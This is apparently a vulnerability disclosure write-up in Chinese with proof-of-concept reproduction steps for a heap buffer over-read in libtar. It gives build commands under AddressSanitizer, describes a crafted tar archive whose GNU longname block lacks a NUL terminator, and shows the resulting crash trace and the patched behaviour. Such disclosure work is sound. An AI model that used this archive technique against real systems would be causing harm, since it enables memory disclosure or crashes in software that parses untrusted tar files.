需要支持 AddressSanitizer 的 C 编译器(gcc 或 clang)以及 Python 3。
# 1. 克隆上游 libtar
git clone https://github.com/tklauser/libtar.git
cd libtar
# 2. 生成 listhash 源文件(通常由 autotools 完成)
mkdir -p build
sed -e 's/@LISTHASH_PREFIX@/libtar/g' -e 's|/\* @configure_input@ \*/||' \
listhash/listhash.h.in > build/libtar_listhash.h
sed -e 's/@LISTHASH_PREFIX@/libtar/g' -e 's|/\* @configure_input@ \*/||' \
listhash/list.c.in > build/libtar_list.c
sed -e 's/@LISTHASH_PREFIX@/libtar/g' -e 's|/\* @configure_input@ \*/||' \
listhash/hash.c.in > build/libtar_hash.c
# 3. 在 ASan 下构建 libtar + PoC 消费者程序
# (下面的 CFLAGS 覆盖了 autotools 通常会提供的值)
CFLAGS="-Ilib -Icompat -Ibuild -Ipoc \
-DNEED_MAKEDEV -DMAJOR_IN_SYSMACROS -DNEED_STRMODE \
-DPACKAGE_VERSION=\"1.2.20\" \
-include sys/sysmacros.h -include fnmatch.h -include fcntl.h -include string.h \
-O1 -g -std=gnu11"
SRCS="lib/append.c lib/block.c lib/decode.c lib/encode.c lib/extract.c \
lib/handle.c lib/output.c lib/util.c lib/wrapper.c compat/strmode.c \
build/libtar_list.c build/libtar_hash.c"
for f in $SRCS; do
gcc $CFLAGS -fsanitize=address -c "$f" -o "build/$(basename "${f%.c}").o"
done
ar rcs build/liblibtar_asan.a build/*.o
gcc $CFLAGS -fsanitize=address poc/poc_crash.c build/liblibtar_asan.a -o build/poc_crash
# 4. 构造触发用的归档文件并运行 PoC
python3 poc/make_archive.py longname.tar
ASAN_OPTIONS=halt_on_error=1:detect_leaks=0 ./build/poc_crash longname.tar
(detect_leaks=0 用于抑制一个无关的、预先存在的泄漏检测器发现——tar_close() 不会释放 th_buf.gnu_longname——这与本漏洞毫无关系;如果你想看到那个泄漏,可以省略它。)
未打补丁: AddressSanitizer 因堆缓冲区溢出读取而中止:
==ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 1
#0 safer_name_suffix lib/decode.c:39
#1 th_get_pathname lib/decode.c:60
0x... is located 0 bytes after 512-byte region [...]
allocated by thread T0 here:
#0 malloc
#1 th_read lib/block.c:192
已打补丁(应用 patches/0001-...patch 之后):无溢出;th_get_pathname() 恰好返回 512 字节的攻击者控制字符串,终止符位于正确的偏移处。
一个 3 块的 tar 归档:
typeflag='L'),声明大小为 512。"pwn" + "A"*509——任何位置都没有 NUL 字节。th_read() 将 gnu_longname 分配为恰好 512 字节(blocks * T_BLOCKSIZE,其中 blocks == 1),并从归档中填充每一个字节。由于数据中不含 NUL,该缓冲区没有字符串终止符。任何将其视为 C 字符串的代码——safer_name_suffix()、th_get_pathname()、th_get_linkname()、libtar 自身的 verbose/debug 打印——都会读取超出分配范围的内存。